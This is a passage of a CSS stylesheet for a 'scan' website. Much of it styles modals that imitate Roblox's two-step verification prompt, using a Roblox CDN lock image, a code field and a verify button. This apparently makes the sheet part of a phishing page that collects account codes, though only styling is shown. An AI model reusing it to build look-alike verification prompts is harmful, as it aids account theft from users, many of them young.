  height: 135px !important;
  margin: 32px auto 16px auto;
  background: url('https://images.rbxcdn.com/2fa6b5d17e58cd53f950c6e5c807b55e-lock.svg') center center no-repeat;
  background-size: contain !important;
  display: block !important;
}
#twofa-modal .modal-margin-bottom-xlarge,
#twofa-modal-2 .modal-margin-bottom-xlarge {
  font-size: 16px !important;
  text-align: center !important;
  color: #b8b8b8;
}
#twofa-modal .input-control-wrapper input,
#twofa-modal-2 .input-control-wrapper input {
  width: 90%;
  max-width: 600px;
  padding: 12px 16px;
  background: #2c2f33;
  border: 1px solid #555;
  border-radius: 8px;
  color: white;
  font-size: 16px;
  margin: 0 auto 12px auto;
  display: block;
  outline: none;
  transition: border-color 0.2s, box-shadow 0.2s;
}
#twofa-modal .input-field.form-control,
#twofa-modal-2 .input-field.form-control {
  width: 80%;
  max-width: 340px;
  min-width: 180px;
  padding: 14px;
  background: #393c41;
  border: 1px solid #393c41;
  border-radius: 6px;
  color: #fff;
  font-size: 16px;
  text-align: center;
  transition: border 0.2s;
  box-sizing: border-box;
}
#twofa-modal .input-control-wrapper input:focus,
#twofa-modal-2 .input-control-wrapper input:focus {
  border: 2px solid #ffffff !important;
  box-shadow: none !important;
  outline: none !important;
  caret-color: white !important;
}
#twofa-modal .modal-body-button-link,
#twofa-modal-2 .modal-body-button-link {
  display: block;
  width: 100%;
  text-align: center;
  margin: 8px 0;
  background: none;
  border: none;
  font-weight: 500;
  font-size: 13px;
  color: #b8b8b8;
  text-decoration: none;
  cursor: pointer;
  transition: color 0.2s, text-decoration 0.2s;
  outline: none;
  line-height: 1.2;
}
.modal-body-button-link:hover,
.modal-body-button-link:focus {
  color: #fff;
  text-decoration: underline;
}
#twofa-modal .modal-body-button-link:hover,
#twofa-modal-2 .modal-body-button-link:hover,
#twofa-modal .modal-body-button-link:focus,
#twofa-modal-2 .modal-body-button-link:focus {
  color: #fff;
  text-decoration: underline;
}
#twofa-modal .modal-footer,
#twofa-modal-2 .modal-footer {
  padding: 0 32px 32px 32px;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  text-align: center;
  background: none;
}
#twofa-modal .modal-modern-footer-buttons,
#twofa-modal-2 .modal-modern-footer-buttons {
  width: 100%;
  margin-bottom: 10px;
  padding: 0 !important;
}
#twofa-modal #verifyButton,
#twofa-modal-2 #verifyButton2 {
  width: 100%;
  padding: 14px;
  background: #393c41;
  border-radius: 6px;
  font-size: 16px;
  color: #b8b8b8;
  border: none;
  cursor: not-allowed;
  font-weight: 600;
  transition: background 0.2s, color 0.2s;
  margin-top: 10px !important;
}
#twofa-modal #verifyButton.enabled,
#twofa-modal-2 #verifyButton2.enabled {
  background-color: #fff !important;
  color: #000 !important;
  cursor: pointer;
  border: none;
}
#twofa-modal #verifyButton.enabled:hover,
#twofa-modal-2 #verifyButton2.enabled:hover {
  background-color: #f0f0f0 !important;
  color: #000 !important;
}
#twofa-modal .text-footer,
#twofa-modal-2 .text-footer {
  font-size: 11px !important;
  color: #b8b8b8 !important;
  text-align: center;
  margin-top: 8px;
  line-height: 1.4;
}
#twofa-modal .text-footer a,
#twofa-modal-2 .text-footer a {
  color: #fff;
  text-decoration: underline;
}
#twofa-modal .text-footer a:hover,
#twofa-modal-2 .text-footer a:hover {
  color: #b8b8b8;
}

.roblox-2fa-modal .background-pattern {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background-image: 
        radial-gradient(circle at 20% 20%, rgba(120, 120, 120, 0.1) 0%, transparent 50%),
        radial-gradient(circle at 80% 80%, rgba(120, 120, 120, 0.1) 0%, transparent 50%),
        radial-gradient(circle at 40% 60%, rgba(120, 120, 120, 0.05) 0%, transparent 50%);
}

.roblox-2fa-modal .close-button {
    position: absolute;
    top: 30px;
    left: 30px;
    width: 40px;
    height: 40px;
    cursor: pointer;
    z-index: 10;
}

.roblox-2fa-modal .close-button::before,
.roblox-2fa-modal .close-button::after {
    content: '';
    position: absolute;
    top: 50%;
    left: 50%;
    width: 30px;
    height: 3px;
    background: rgba(255, 255, 255, 0.8);
    border-radius: 2px;
}

.roblox-2fa-modal .close-button::before {
    transform: translate(-50%, -50%) rotate(45deg);
}

.roblox-2fa-modal .close-button::after {
    transform: translate(-50%, -50%) rotate(-45deg);
}

.roblox-2fa-modal .container {
    text-align: center;
    max-width: 480px;
    padding: 40px;
    position: relative;
    z-index: 1;
}

.roblox-2fa-modal .shield-icon {
    width: 180px;
    height: 180px;
    margin: 0 auto 40px;
    position: relative;
}

.roblox-2fa-modal .title {
    font-size: 36px;
    font-weight: 300;
    margin-bottom: 60px;
    letter-spacing: 1px;
}

.roblox-2fa-modal .shield-outer {
    width: 100%;
    height: 100%;
    background: linear-gradient(145deg, #b0b0b0 0%, #888 50%, #666 100%);
    border-radius: 50% 50% 50% 50% / 60% 60% 40% 40%;
    position: relative;
    box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
}

.roblox-2fa-modal .shield-inner {
    position: absolute;
    top: 8px;
    left: 8px;
    right: 8px;
    bottom: 8px;
    background: linear-gradient(145deg, #2a2a3e 0%, #1a1a2e 50%, #0f0f1a 100%);
    border-radius: 50% 50% 50% 50% / 60% 60% 40% 40%;
    display: flex;
    align-items: center;
    justify-content: center;
}

.roblox-2fa-modal .lock-icon {
    width: 60px;
    height: 70px;
    position: relative;
}

.roblox-2fa-modal .lock-body {
    width: 60px;
    height: 45px;
    background: #d0d0d0;
    border-radius: 8px;
    position: absolute;
    bottom: 0;
}

.roblox-2fa-modal .lock-shackle {
    width: 35px;
    height: 30px;
    border: 6px solid #d0d0d0;
    border-bottom: none;
    border-radius: 20px 20px 0 0;
    position: absolute;
    top: 0;
    left: 50%;
    transform: translateX(-50%);
}

.roblox-2fa-modal .title {
    font-size: 36px;
    font-weight: 300;
    margin-bottom: 60px;
    letter-spacing: 1px;
}

.roblox-2fa-modal .instruction {
    font-size: 18px;
    color: rgba(255, 255, 255, 0.9);
    margin-bottom: 40px;
    line-height: 1.4;
}

.roblox-2fa-modal .input-container {
    margin-bottom: 30px;
}

.roblox-2fa-modal .instruction {
    font-size: 18px;
    color: rgba(255, 255, 255, 0.9);
    margin-bottom: 40px;
    line-height: 1.4;
}

.roblox-2fa-modal .input-container {
    margin-bottom: 30px;
}

.roblox-2fa-modal .code-input {
    width: 100%;
    padding: 20px 24px;
    font-size: 18px;
    background: rgba(255, 255, 255, 0.1);
    border: 2px solid rgba(255, 255, 255, 0.2);
    border-radius: 12px;
    color: white;
    text-align: center;
    letter-spacing: 3px;
    transition: all 0.3s ease;
}

.roblox-2fa-modal .code-input::placeholder {
    color: rgba(255, 255, 255, 0.5);
    letter-spacing: 2px;
}

.roblox-2fa-modal .code-input:focus {
    outline: none;
    border-color: rgba(255, 255, 255, 0.4);
    background: rgba(255, 255, 255, 0.15);
}

.roblox-2fa-modal .checkbox-container {
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 40px;
    cursor: pointer;
}

.roblox-2fa-modal .checkbox {
    width: 20px;
    height: 20px;
    border: 2px solid rgba(255, 255, 255, 0.6);
    border-radius: 4px;
    margin-right: 12px;
    position: relative;
    background: transparent;
    display: flex;
    align-items: center;
    justify-content: center;
    color: white;
    font-size: 14px;
}

.roblox-2fa-modal .checkbox-label {
    font-size: 16px;
    color: rgba(255, 255, 255, 0.9);
    user-select: none;
}

.roblox-2fa-modal .alternative-method {
    color: rgba(255, 255, 255, 0.8);
    text-decoration: underline;
    font-size: 16px;
    margin-bottom: 40px;
    cursor: pointer;
    transition: color 0.3s ease;
}

.roblox-2fa-modal .alternative-method:hover {
    color: white;
}

.roblox-2fa-modal .verify-button {
    width: 100%;
    padding: 18px;
    font-size: 18px;
    font-weight: 600;
    background: linear-gradient(135deg, #888 0%, #666 50%, #555 100%);
    color: white;
    border: none;
    border-radius: 12px;
    cursor: pointer;
    transition: all 0.3s ease;
    text-transform: uppercase;
    letter-spacing: 1px;
    margin-bottom: 40px;
}

.roblox-2fa-modal .verify-button:hover {
    background: linear-gradient(135deg, #999 0%, #777 50%, #666 100%);
    transform: translateY(-2px);
    box-shadow: 0 8px 25px rgba(0, 0, 0, 0.3);
}

.roblox-2fa-modal .support-info {
    font-size: 16px;
    color: rgba(255, 255, 255, 0.8);
    margin-bottom: 30px;
}

.roblox-2fa-modal .support-link {
    color: white;
    text-decoration: none;
    font-weight: 600;
}

.roblox-2fa-modal .warning {
    font-size: 14px;
    color: rgba(255, 255, 255, 0.7);
    line-height: 1.6;
    max-width: 400px;
    margin: 0 auto;
}

.roblox-2fa-modal .warning strong {
    font-weight: 600;
}

@media (max-width: 600px) {
    .roblox-2fa-modal .container {
        padding: 20px;
    }
    
    .roblox-2fa-modal .title {
        font-size: 28px;
    }
    
    .roblox-2fa-modal .shield-icon {
        width: 140px;
        height: 140px;
    }
    
    .roblox-2fa-modal .instruction {
        font-size: 16px;
    }
}

/* Test Verification Button */
.test-verification-btn {
    background: linear-gradient(135deg, #007acc 0%, #005fa3 100%);
    color: white;
    border: none;
    padding: 15px 30px;
    border-radius: 8px;
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
    margin: 20px 10px;
    transition: all 0.3s ease;
    box-shadow: 0 4px 15px rgba(0, 122, 204, 0.3);
}

.test-verification-btn:hover {
    background: linear-gradient(135deg, #0086d9 0%, #0066b3 100%);
    transform: translateY(-2px);
    box-shadow: 0 6px 20px rgba(0, 122, 204, 0.4);
}

/* Enhanced Footer */
footer {
    background: var(--gradient-card);
    border-top: 1px solid var(--border-color);
    padding: 6rem 0 3rem;
    margin-top: 8rem;
    position: relative;
}

footer::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 4px;
    background: var(--gradient-primary);
}

.footer-content {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
    gap: 3rem;
    margin-bottom: 3rem;
}

.footer-section h4 {
    color: var(--text-primary);
    font-size: 1.375rem;
    font-weight: 700;
    margin-bottom: 1.5rem;
    background: var(--gradient-primary);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
}

.footer-section p,
.footer-section ul {
    color: var(--text-secondary);
    line-height: 1.8;
    font-size: 1.125rem;
}

.footer-section ul {
    list-style: none;
}

.footer-section ul li {
    padding: 0.5rem 0;
    transition: all 0.3s ease;
    cursor: pointer;
}

.footer-section ul li:hover {
    color: var(--primary-blue);
    transform: translateX(5px);
}

.footer-bottom {
    text-align: center;
    padding-top: 3rem;
    border-top: 1px solid var(--border-color);
}

.footer-bottom p {
    color: var(--text-muted);
    font-size: 1rem;
}

/* Button Icons */
.btn-icon {
    font-size: 1.125em;
    filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.1));
}

/* Enhanced Responsive Design */
@media (max-width: 768px) {
    .container {
        padding: 0 16px;
    }

    .nav-links {
        gap: 0.25rem;
    }

    .scan-btn-nav {
        padding: 0.75rem 1.25rem;
        font-size: 0.9rem;
        margin-right: 0.5rem;
    }

    .scan-btn-nav .btn-icon {
        display: none;
    }

    .theme-toggle {
        padding: 0.625rem 1rem;
        font-size: 0.875rem;
    }

    .hero {
        padding: 6rem 0;
        min-height: 80vh;
    }

    .hero-buttons {
        flex-direction: column;
        align-items: center;
    }

    .hero-stats {
        flex-direction: column;
        gap: 3rem;
    }

    .features {
        grid-template-columns: 1fr;
        gap: 2rem;
    }

    .feature-card {
        padding: 2rem;
    }

    .scan-container {
        padding: 3rem 2rem;
    }

    .modal-content {
        width: 95%;
        margin: 5% auto;
    }

    .modal-header,
    .modal-body,
    .modal-footer {
        padding: 2rem 1.5rem;
    }

    .modal-footer {
        flex-direction: column;
    }

    .footer-content {
        grid-template-columns: 1fr;
        text-align: center;
    }
}

/* Micro-interactions */
@media (hover: hover) {
    .feature-card:hover {
        --mouse-x: 50%;
        --mouse-y: 50%;
    }
}

/* Accessibility improvements */
@media (prefers-reduced-motion: reduce) {
    *,
    *::before,
    *::after {
        animation-duration: 0.01ms !important;
        animation-iteration-count: 1 !important;
        transition-duration: 0.01ms !important;
    }
}

/* Print styles */
@media print {
    .scan-btn-nav,
    .theme-toggle,
    .modal,
    .loading-overlay {
        display: none !important;
    }
}

/* Enhanced animations for better UX */
.fadeInUp {
    animation: fadeInUp 1s ease-out both;
}

.stagger-1 { animation-delay: 0.1s; }
.stagger-2 { animation-delay: 0.2s; }
.stagger-3 { animation-delay: 0.3s; }